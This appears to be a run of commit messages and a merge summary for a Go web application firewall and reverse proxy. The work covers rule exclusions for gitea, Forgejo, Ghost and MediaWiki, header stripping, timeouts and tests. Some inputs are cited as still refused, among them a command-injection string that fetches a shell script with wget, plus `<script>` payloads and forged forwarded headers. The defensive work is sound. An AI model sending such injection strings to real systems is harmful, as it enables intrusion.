Tests only, in `internal/sww/sww_test.go`. A start compiles the Core Rule Set, so on a loaded host it can take longer than `waitLimit` (10 s) to write `starting`. The new `output.lineBeforeExit` waits until the line is written or sww exits, bounded only by the test binary's `-timeout`. It replaces the waits that span a start, in `runUntilStopped`, `TestServesUntilToldToStop` and `TestLogLevelHoldsBackTheLessSevereProcessLines`. The other waits on `waitLimit` in the file come after the start or after sww has exited.
Model: opus-5-5
The header limits (more than 50 cookies or 100 header fields, answered `431`) move from just before the Core Rule Set to the first check after `SWW_ALLOW_NETS`. A request over them causes no lookup, no query to RouteWatch, a DNS blocklist or AbuseIPDB, no rule file match and no Core Rule Set. Requests within the limits go through the same checks in the same order.
For a request over the limits: the rate limits no longer count it; a banned client or one in `SWW_DENY_NETS` gets `431` instead of its refusal; it makes no ban, makes no ban permanent and is not counted in a ban's notes; in `observe` mode it is answered `allow` with no lookup. `SPEC.md` and `README.md` say so.
Model: opus-5-5
Test only. `TestAnAnswerOf1MiBGoesToTheVisitor` read an answer of 1 MiB from `waf` within the default `SWRP_TIMEOUT_MS` of 2 s. On a busy host that time ran out first, `rproxy` applied `SWRP_DEFAULT_DISPOSITION` as it should, and the test failed. It now sets `SWRP_TIMEOUT_MS` to `60000`, as the file's other tests do where that limit is not what they test.
Model: opus-5-5
For a peer outside `SWRP_TRUSTED_PROXIES`, `rproxy` now removes every header whose name starts with `X-Forwarded-`, in any letter case, before it sets `X-Forwarded-For`, `X-Forwarded-Host` and `X-Forwarded-Proto`; `Forwarded` and `X-Real-IP` are removed as before. Until now only traefik's names were removed, so a client connecting directly could send `X-Forwarded-Ssl: on` or `X-Forwarded-Scheme: https` and make an app take a plain request for a secure one. A trusted peer's headers pass on unchanged. `SPEC.md` says so.
Model: opus-5-5
Request lines of `waf` and `rproxy` now hold `&`, `<` and `>` as sent, where `json.Marshal` wrote `\u0026`, `\u003c` and `\u003e`, and are still valid JSON. `writeJSONLine` encodes with a `json.Encoder` that has HTML escaping off, and still writes each line in one write. This follows the `AGENTS.md` rule that the request log records query strings exactly as received, and lets `grep` find a logged query string.
Alert webhooks and the report `rproxy` posts to `waf` are unchanged: neither is a request line, and both are read only by a JSON parser.
Model: opus-5-5
The comment above `readQuestion` in `internal/waf/waf.go` said `rproxy` treats a refused question (`400`, no disposition) as no answer. It passes the `400` to the visitor, and `SWRP_DEFAULT_DISPOSITION` does not apply, as `SPEC.md` and `internal/rproxy/waf.go` say. Comment only.
Model: opus-5-5
A new test fails on the current code. The visitor stops a little short of
its announced body, and the response time limit runs out before rproxy can
write the app's short body. The connection then stays open until the
request time limit instead of closing. The app sends that body in one part,
and in two; with two, ReverseProxy panics instead of returning.
The test that failed under load used a 300 ms response time limit, which a
busy host can use up between the app's headers and its body. It and the
test that answers a visitor that stops sending now use limits far longer
than the test's 10-second read deadline.
Model: opus-5-5
When SWRP_MAX_RESPONSE_TIME_MS ran out before the last of a short answer
was written, the flush failed. If the visitor had stopped short of its
announced body, Go's server then read the rest until
SWRP_MAX_REQUEST_TIME_MS ran out, keeping the connection open with the
answer cut off.
finish now flushes once more, and if that fails at its deadline, it ends
the reading of the body at once. ReverseProxy ignores the failed flush when
the app's answer came in one read, and panics when it was still waiting for
more; finish runs after both. Go's server never reuses a connection after a
failed write, so it closes it.
Model: opus-5-5
For a peer outside `SWRP_TRUSTED_PROXIES`, `rproxy` now reads each header name with `_` as `-` and in any letter case, and removes the header when that name starts with `X-Forwarded-` or is `Forwarded` or `X-Real-IP`. Before, `X_Forwarded_Ssl: on` or `X_Real_IP` from a client connecting directly reached the app unchanged, and an app behind CGI or FastCGI reads them as the dash-spelt headers. A trusted peer's headers pass on as before. `SPEC.md` says so.
Model: opus-5-5
The app now sends its late parts only once rproxy has ended the request to
it, not after a sleep timed against the limit. With the body in one part it
stalls after its headers; with two parts, after the first part, which
reaches the visitor. Both cases fail on the current code: nothing cuts the
answer off, and the connection stays open. The 2-second limit lets rproxy
pass on a part sent at once, even on a busy host.
A new test, which passes on the current code, has every flush fail with no
refusal, so that only the failed-flush check in finish ends the reading of
the visitor's body.
Model: opus-5-5
When the app's answer arrived before the app had been sent the whole
request, SWRP_MAX_RESPONSE_TIME_MS had no timer: only the end of the
request started one. If the app then stalled, only a write could fail at
the deadline. With nothing written, the connection stayed open until the
request time limit.
modifyResponse now starts the response timer when it ends the request.
Once the timer cuts off the app's answer, nothing is left to flush, so the
last flush in finish succeeded and Go's server read the rest of the body.
finish now also ends that reading at once after a refusal of an answer
already passed on.
Model: opus-5-5
Every cache of answers from an outside service has its own file in `SWW_CACHE_DIR` (default `/var/cache/sww`): `lookups.json` (GeoJS), `lists.json` (lists fetched by URL, CrowdSec's decisions included), `dnsbl.json`, `abuseipdb-scores.json` and `routewatch.json` (at most 100,000 answers, each kept an hour). `reputation.json` is gone; the AbuseIPDB checks spent today stay in `SWW_STATE_DIR` as `abuseipdb-checks-spent.json`, since losing them would spend the daily budget twice.
A cache file never stops the start: one that does not parse is set aside as `<name>.bad` with a `file_error` alert. An unwritable `SWW_CACHE_DIR` stops the start. The `run` script creates the cache directory and gives it to `sww`. The cache directory needs no volume and can be left out of backups.
Model: opus-5-5
Tests only, in `internal/sww`. Every wait for the `starting` line now uses `output.lineBeforeExit`, which waits until the line is written or sww exits, so a slow Core Rule Set compile on a loaded host no longer fails these tests. `TestMainRunsWAF` and `startRProxyProcess` start sww through `startProcess`, whose cleanup kills sww as the test ends and waits for it to exit; `startRProxyProcess` returns a stop function that sends SIGTERM and fails the test unless sww exits with status 0 within `waitLimit`.
Model: opus-5-5
Tests only. `TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs` and `TestHangingRoutewatchNeverDelaysAndFailsTheQuery` run in a `synctest` bubble, whose clock load cannot move, instead of comparing wall-clock durations with fixed bounds. The first checks the answer comes after exactly `SWW_LOOKUP_TIMEOUT`, and that the DNS blocklist's query, held by a stand-in resolver, had not failed when it came. The second requires `no_answer_yet` after exactly zero time. The other wall-clock checks in the tests were already in bubbles or are bounds load cannot break.
- The held DNS query still times out on the real clock after two seconds; a stall that long between question and check fails the test.
Model: opus-5-5
Before `waf` starts, the image's `run` script now makes `SWW_STATE_DIR` if it is missing (`mkdir -p`), gives it to `sww:sww` and sets its mode to `0700`, as it already does for the cache directory's owner. A value that is not an absolute path, or an unreadable `SWW_STATE_DIR_FILE`, still changes nothing, and `waf` stops naming the setting. The `Dockerfile` comment, `docs/image.md`, `docs/settings.md` and `SPEC.md` say the image makes the directory. `script/example-app` checks that a missing `SWW_STATE_DIR` is made, owned by `sww` with mode `0700`.
- `chmod 0700` also applies to an existing directory, a mounted volume included, at every start of `waf`.
Model: opus-5-5
Forgejo 17.0.1's ordinary traffic, recorded in `testdata/forgejo-requests.txt` (pages signed in and out, admin pages, the API with a token, git clone and push, the generic and container registries, uploads), passes at the default settings. What Forgejo sends and gitea does not: its flash cookie `flash` joins the cookies left out, and in the new `forgejo.conf` `q` on its wiki search skips five rules. In `gitea.conf`, the API's package search joins the name searches, and `q` there also skips 932250, except on user and organisation pages. `README.md` lists Forgejo; `SPEC.md` lists the changes.
- Still refused, each tracked: `ls -la` on user and organisation pages; file and branch names in bodies while bodies are read; Forgejo's searches at a branch or tag, of releases and of job logs; other search fields not yet recorded.
Model: opus-5-5
On a path of one segment made of the characters a user's or an
organisation's name may hold, q now skips 932250 too, unless the path
ends in a server-side script's extension, such as .php or .cgi. The
searches on a user's and an organisation's page are recorded from gitea
1.27.3 and Forgejo 17.0.1.
Model: opus-5-5
`testdata/forgejo-requests.txt` records these Forgejo 17.0.1 searches with the hard values, file names and plain words, and the code search with code and a page opened from each search. `forgejo.conf` lets them through:
- the code search at a branch or tag, where the home page's search box sends its search without a code indexer: `q` skips what it skips on gitea's code search, and `Referer` what it skips after gitea's searches;
- the release search, page and API: `q` skips 930120, 932120, 932160, 932250 and 932260, since it matches tag names;
- the job log search in the API: the same, without 932160.
In `gitea.conf`, `q` on a repository's branches page and an owner's packages page also skips 932160, so `/bin/sh` passes there. `SPEC.md` lists both.
Model: opus-5-5
internal/config now keeps waf's settings in waf.go and rproxy's in
rproxy.go. config.go keeps what both read: the package doc,
SWW_COMMAND, the environment reader, listen addresses, sizes and
netblock lists. The app URL reader and the default trusted proxies,
which only rproxy uses, move to rproxy.go. config_test.go becomes
waf_test.go, beside rproxy_test.go. Code is moved, not changed.
Model: opus-5-5
script/fmt now runs golines -m 77 after gofmt, repeating golines until
it changes nothing, since one pass can leave a line the next splits.
script/fmt-check fails when either would change a file.
script/bootstrap installs golines v0.13.0 with go install, pinned to
its commit, and checks the installed version with go version -m.
The tree is reformatted. The longer lines this makes are fixed by
hand: nolint directives moved onto their own line above the statement,
one string split, and 20 functions over funlen's 80 lines shortened or
split, RunWAF and limitPercentages among them.
Model: opus-5-5
Recorded with python3, powershell, ls -la, .htaccess, file names and plain
words from gitea 1.27.3 and Forgejo 17.0.1. q on these searches now skips
930120, 932120, 932250 and 932260 (900603), on gitea's /-/admin/ and
Forgejo's /admin/ alike, and in the body of the admin forms that adopt a
repository or activate an email. The issue and pull request searches of a
team and of a milestone join 900600 and 900601, as a repository's do. A
repository's packages page and the admin packages page join 900602, which
also skips 944130. 900605, which lets /bin/sh through in q on branches and
owner packages, now also covers the tags page and those two pages, since tag
and package names can hold a slash.
Model: opus-5-5
Co-authored-by: clawbot <sneak+clawbot@sneak.cloud>
Each app's fixes are one .conf file and one entry in apps. They apply
only while Inspect has set the app's transaction variable, such as
tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only
its apps' fixes; while SWW_APPS is unset, every hostname gets every
app's fixes. Listing forgejo, a fork of gitea, brings gitea's fixes too.
A hostname in SWW_APPS that is not a DNS name, such as *.example.com,
stops the start. Unset, SWW_APPS is logged at start as null; set
empty, as "".
Model: opus-5-5
While bodies are read, the forms that adopt or delete an unadopted
repository were refused when the repository's name held a command, a
system file's name or a shell path, such as alice/python3-app,
alice/.profile or robin/assets. id there now skips 930120, 932120, 932160
and 932260. The paths are gitea's /-/admin/repos/unadopted, Forgejo's
/admin/repos/unadopted, and /user/settings/repos/unadopted, which both
serve.
Model: opus-5-5
While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:
- tree_path, commit_summary and content on the web editor's pages:
edit, new file, delete, upload, patch, cherry-pick and preview;
- fields that name a branch, for Windows commands and command names:
new_branch_name, old_branch_name, old_ref_name, from, to, head, base,
branch and new_branch; base also when a pull request is edited
through the API;
- message of one file or several changed through the API, for system
files and Windows commands.
None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.
Model: opus-5-5
Ghost 6.76.0's ordinary traffic, recorded in `testdata/ghost-requests.txt`,
passes at the default settings and while bodies are read. It covers public
pages, members' sign-up and sign-in, the admin, the editor saving and
publishing posts and pages with code blocks and HTML cards, tags, settings,
staff invitations, uploads, newsletter settings, and both APIs. Ghost's
fixes, in the new `ghost.conf`, let through `filter`, the member `search`
and the embed `url` in the query, and plain text, addresses, articles, code
injection and passwords in JSON bodies. A `<script>` element and a
`javascript:` link stay refused in articles and code injection. `SWW_APPS`
names Ghost `ghost`. `README.md` lists Ghost; `SPEC.md` lists its fixes.
Model: opus-5-5
Every setting of waf and rproxy is read through viper, in place of the
os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and
AllowEmptyEnv on, so a setting that is set but empty reads as set. A
setting may also be given as a file, the _FILE form, which rproxy's
settings now have too; rproxy still writes nothing to disk.
The settings are renamed: waf's take the prefix SWW_WAF_, rproxy's take
SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's
settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_.
Model: deepseek-v4-pro (first version); opus-5-5 (rework)
While bodies are read, 941110 refused a `<script>` element in an HTML card
that embeds a widget, and in code injection that loads analytics. The new
exclusion 900366 switches 941110 off on the Admin API for `lexical`,
`mobiledoc` and `html` of posts and pages, their `codeinjection_head` and
`codeinjection_foot`, and settings `value`. Snippets, a newsletter's footer
and every other field and path still refuse it; `javascript:` links stay
refused everywhere.
Model: opus-5-5
visit's client sends Connection: close, and Go's server then closes the
connection after the 413 without reading the rest of the body. The
visitor, still sending, could see the reset before the answer. The test
now sends the request on its own connection without that header, so Go's
server reads the rest before it closes.
Model: opus-5-5
While bodies are read, 932120 refused the canonical URL
`https://example.com/blog/powershell/` and 930120 refused
`https://example.com/blog/.htaccess/`. The new exclusions 900383 and 900384
switch both rules off for `posts.N.canonical_url` under
`/ghost/api/admin/posts/` and `pages.N.canonical_url` under
`/ghost/api/admin/pages/`, as `url` does, and only when the query has no field
of that name. The recorded requests gain the saves the Ghost 6.76.0 admin
sends when those addresses are set in a post's and a page's settings.
Model: opus-5-5
Go's server reads up to 256 KiB of a body left unread once the handler
returns, but not a body with a declared length from a visitor that sent
Connection: close. It closes that connection with the rest unread, and
the visitor, still sending, gets a reset. rproxy now reads that rest
itself, until the deadline already set on the connection, through a
MaxBytesReader made with Go's own ResponseWriter. With more than 256 KiB
left, that has Go's server tell the visitor it sends no more and wait
500 ms before it closes. rproxy reads the rest only after an answer with
a Content-Length, because Go's server ends any other answer only once
the handler returns.
Model: opus-5-5
Ghost 6.76.0 was sent the fields not yet recorded with python3,
powershell, ls -la and .htaccess. Fixes in ghost.conf:
- eight rules that refused words naming commands and files, 932235 among
them, for staff profiles, setup, invitations, tiers, offers,
recommendations, integrations, webhooks, feature images, comments, the
CSV import's labels, ActivityPub, and source and the utm_ fields;
- 932235 for the existing plain-text fields and code injection;
- filter skips six more rules, for title:~'powershell & python3';
- pathname skips 930120, 932120 and 932260;
- invitation addresses, email_segment, a tag's canonical_url, and
ActivityPub's handles, actorUri and domain;
- a tag's code injection skips what a post's does.
Model: opus-5-5
Applies the setting renames of the naming audit under the SWW_WAF_ and
SWW_RPROXY_ prefixes, with sneak's names for the IP reputation cache
time and the two time limits, which now take milliseconds. The rproxy
log field default_disposition becomes waf_backend_no_answer, and
config.Config and config.FromEnvironment become config.WAF and
config.WAFFromEnvironment. Go fields, test names and prose follow. No
aliases; nothing reads the old names.
Model: opus-5-5
Recorded with python3, powershell, ls -la, .htaccess, file names and plain
words from gitea 1.27.3 and Forgejo 17.0.1. q on the API's searches of
topics, of an organisation's teams and of emails joins 900603, which skips
930120, 932120, 932250 and 932260. The same four rules are skipped by
query on the search of unadopted repositories (900607) and by name on the
search of a repository's milestones (900608). 900605 also lets /bin/sh
through in q on the API's search of packages, since a package name can
hold a slash. The searches of repositories, users and issues already
passed.
Model: opus-5-5
Co-authored-by: clawbot <sneak+clawbot@sneak.cloud>
Recorded from gitea 1.27.3 and Forgejo 17.0.1 with each registry's own
client, and curl for the requests no client sends, with python3,
powershell, ls -la, .htaccess, file names and plain words. q on the
Cargo, Chef, Composer and Conan searches and NuGet's search service
joins 900603. 900605 lets /bin/sh through on Composer and Conan. New:
900609 for npm's text; 900611, in phase 2, lets one q shaped as a Conan
reference with no +, */ or --, such as zlib/*, skip 942100 if 942100
passes it with each /* comment read as a space; 900612 for NuGet's
Search(), Packages() and their counts: searchTerm, $filter, and the
names $filter, $orderby and $top for 942290.
Model: opus-5-5
Co-authored-by: clawbot <sneak+clawbot@sneak.cloud>
sneak ruled to remove it. Gone: the heuristic crowdsec, the ban cause
crowdsec and its earlier_bans count, the tag crowdsec, the settings
SWW_WAF_CROWDSEC_LAPI_URL and SWW_WAF_CROWDSEC_LAPI_KEY, the decision
list fetch and parse in internal/reputation, their tests, and every
mention in the README, SPEC.md and docs/. EVALUATION.md keeps its
comparison of tools.
The ban ledger's internal ban function loses its expires parameter,
which only CrowdSec bans used.
Model: opus-5-5
Co-authored-by: clawbot <sneak+clawbot@sneak.cloud>
SWW_WAF_ADD_LOOKUP_HEADERS now defaults to true, so the app gets
X-Client-ASN and X-Client-Country with no setting. While
SWW_WAF_LOOKUP_SOURCE is off it defaults to false, so turning lookups
off alone still starts; true set with the lookup off still stops the
start. With GeoJS, a new client's first request now waits for its
answer, up to SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
Model: opus-5-5
The header limits now also refuse a request line over 8 KiB with 414
(action request_line_too_long) and a header line over 8 KiB, Host
included, with 431. Like the other header limits they are fixed, run
first and make no ban. One long query string or cookie no longer keeps
the Core Rule Set busy for a third of a second.
Model: opus-5-5
README, SPEC and docs no longer present traefik as the required front
proxy, and call it the TLS-terminating proxy. The README section of that
name lists what the proxy must do: forward plain HTTP to port 8080, keep
Host, set X-Forwarded-For and X-Forwarded-Proto, close an unused
connection in under 120 seconds, and connect from an address in
SWW_RPROXY_TRUSTED_PROXIES. traefik, Caddy and nginx appear as examples,
with the Caddy and nginx settings their defaults lack.
Model: opus-5-5
The opening now lists what bans a client with the default settings: the
rate and byte limits, a probe for a secret path, a security scanner's
user agent, and the refusal limit. A scraper that does none of these is
left alone.
Model: opus-5-5
Adds a paragraph to "What it does" listing what rproxy enforces with
default settings whether or not waf answers: malformed requests, methods,
header size, request and response times, body sizes, idle connections.
After the list, it says which header limits are waf's.
Removes the "Slow and oversized requests" bullet, which the new list
states with figures.
Model: opus-5-5
Five failed asks to waf within five seconds open the breaker. An ask
fails when it gets no answer in time, slow answers included, or an
answer rproxy cannot pass on. Every usable answer clears the failures
and closes the breaker. While open, a request takes
SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION without asking waf, except
one ask a second. SPEC.md describes it.
The sww test that stops and restarts waf now waits for the breaker to
close before it expects the ban again.
Model: opus-5-5
The Core Rule Set is the one check whose time a visitor can stretch.
At paranoia level 4 it took over 2 s on a request with an 8 KiB
request line, three 8 KiB Cookie lines and a 64 KiB form body.
SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE now takes at most 8K. The
Core Rule Set also reads no JSON body over 1 KiB, since Coraza turns
JSON into up to 8 times its size in names and values. That brings
such a request under 1 s.
A test per kind of input times the Core Rule Set on the worst request
within the limits, at the slowest settings. SPEC.md lists the limits
that bound it.
Model: opus-5-5
script/publish no longer defaults DOCKER_HOST to an SSH target on one of
our servers or PUBLISH_IMAGE to the registry. Both are required, and an
unset one stops it with a message naming it. The README says so.
The instance name in docs and tests was our server's name; it is now
host1/waf in the docs and host1/blog in the tests.
Model: opus-5-5
TestFiveFailedAsksKeepTheNextRequestFromAskingWAF waited for a question
from each of the five failing asks. Under load an ask could time out
before the stand-in for waf saw it, and the test failed with "no
question". It now waits only for each visitor's answer.
Before the sixth request, it checks that rproxy has not written that the
circuit breaker is open, so none of the first five was kept from asking
waf. It checks that the sixth request did not ask by its request ID,
which the app records, so late questions from the failed asks cannot be
mistaken for it.
Model: opus-5-5
The worst-case inspection test compared each inspection with a fixed 1
second, so a busy host failed it at random. It now times, on the same
thread and in processor time, a fixed regular-expression job just
before and after each inspection. An inspection fails when it takes
more than 13 times that job, about 1 second on an idle host.
Model: opus-5-5
The GeoJS lookup and its cache move from internal/lookup to internal/geojs,
which imports no other package of this repository. waf hands it functions
to count requests, report failures and count lookups that went without an
answer; waf keeps the log line, the source_failure alert and the metrics.
The caller now passes its wait to each lookup. waf passes
SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS. A request to GeoJS has its own
fixed limit of 10 seconds, and only passing it or an error from GeoJS is a
failure. An answer that comes after the caller stopped waiting is kept.
internal/lookup keeps the lookup database and returns geojs.Answer.
Model: opus-5-5
While the lookup waits for GeoJS, the trap paths, the rule files and the
Core Rule Set run at the same time as the checks after the lookup. The
first side to refuse answers the request; what the other side finds leaves
no trace. Those three checks have 500 ms together: past it, the request is
refused with 503 as checks_timed_out, with no ban and no offence.
Tests hold GeoJS and the Core Rule Set with stand-ins under synctest. The
test helper lifts the 500 ms limit for tests that run the real Core Rule
Set, which the race detector slows past it.
Model: opus-5-5
TestQueriesGoToTheResolverSWWDNSBLResolverNames queries a real UDP
stand-in outside any synctest bubble. A parallel test starts only once
every test that is not parallel has ended, so it can no longer overlap
the bubbled DNSBL tests, and no other parallel test of the package
queries a resolver.
The other tests that run one at a time stay so, each for the reason its
comment gives: environment variables, TMPDIR, timing, Go's resolver in
synctest bubbles, and garbage collection hiding a leaked connection.
Every subtest inside a parallel test already calls t.Parallel().
Model: opus-5-5
The image sets title, description, version, created, revision and
source; the last three known only at build time come from build
arguments that default to unknown, and script/docker and
script/cibuild pass them. The example app sets its own title and
description.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
nextholds, beyondmain:sww, run assww rproxyorsww waf(formerlyservewaf); the program is still smallwebwaf. Thewafmode's settings startSWW_(formerlySWWAF_);rproxy's staySWRP_. Admin endpoints are under/_sww/, request headers areX-Sww-*, metrics aresww_, and the image keeps state in/var/lib/sww.wafmode's checks is its own module, and every refusal or ban log line names the check that made it, with its figures.SWW_TAG_DENYrefuses by tag andSWW_TAG_LIMIT_PERCENTlowers limits by tag.SWW_ROUTEWATCH_URLset, each request also getsasn=andprefix=tags from a routewatch instance.actionvalues are renamed so they say what they mean, andbannedsplits intotemporarily_bannedandpermanently_banned._ms.make publishbuilds the image on the Docker host and pushes it to the registry under four tags. A real build and push from this branch has not been tried.mainbranch. With v3.8.1, concurrent requests could take each other's Core Rule Set exclusions, refusing ordinary requests or letting attacks through (#254).rproxypasses the WebDAV methods (PROPFIND,LOCKand seven more) towafinstead of answering405; the Core Rule Set still refuses them outside an app that uses them.<script>tags andjavascript:are still refused.SWRP_MAX_RESPONSE_TIME_MSruns out as an answer starts, the visitor gets a 504 or the answer, never a closed connection:rproxy's own answers, and the status and headers of the app's, get at least 10 seconds to be sent. A visitor that stops sending its body after the app has answered gets the answer at once, and the connection closes; so does one whose answer is cut off by that limit, including an answer that arrives before the app has the whole request and then stalls.431) are the first check afterSWW_ALLOW_NETS: such a request causes no lookup and no Core Rule Set, is not counted by the rate limits, and makes no ban.SWW_CACHE_DIR, default/var/cache/sww, which the image creates and which needs no volume or backup. State that must survive stays inSWW_STATE_DIR, which the image now also creates when missing, owned byswwwith mode0700; that mode is set at every start, on a mounted volume too.TZsays, and AbuseIPDB's daily count keeps its day asYYYY-MM-DD.SWRP_TRUSTED_PROXIES,rproxyremoves everyX-Forwarded-header, also spelt with underscores, so a client connecting directly cannot claim HTTPS withX-Forwarded-SslorX-Forwarded-Scheme.&,<and>in query strings and referers as sent, sogrepfinds them.AGENTS.mdholds the rules for agents working on the repository, andSPEC.mdstates the trusted-proxy default.To deploy: a deployment's environment must use the new setting names and
SWW_COMMAND(waforrproxy).SWW_ASN_LIMIT_PERCENT,SWW_COUNTRY_LIMIT_PERCENTandSWW_DENIED_COUNTRIESare gone: use the tag settings. An existingclients.jsonholding the offence keyrule_blockedstops the start: remove the file. So does one holdingwaf_blockedor the anomaly scopewatch.reputation.jsonis no longer read and can be deleted; the AbuseIPDB checks spent that day start again from zero.SWW_ALERT_EVENTSlistingwaf_blockmust listcore_rule_set_match.Merged into
next:Model: opus-5-5
On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom, gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the fields they stand in for do. On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title per line, always skips 930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only when the body sends it once and it holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So "; wget http://example.com/x.sh" is still refused. Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change used. Model: opus-5-5is rproxy ready to be put live on the internet?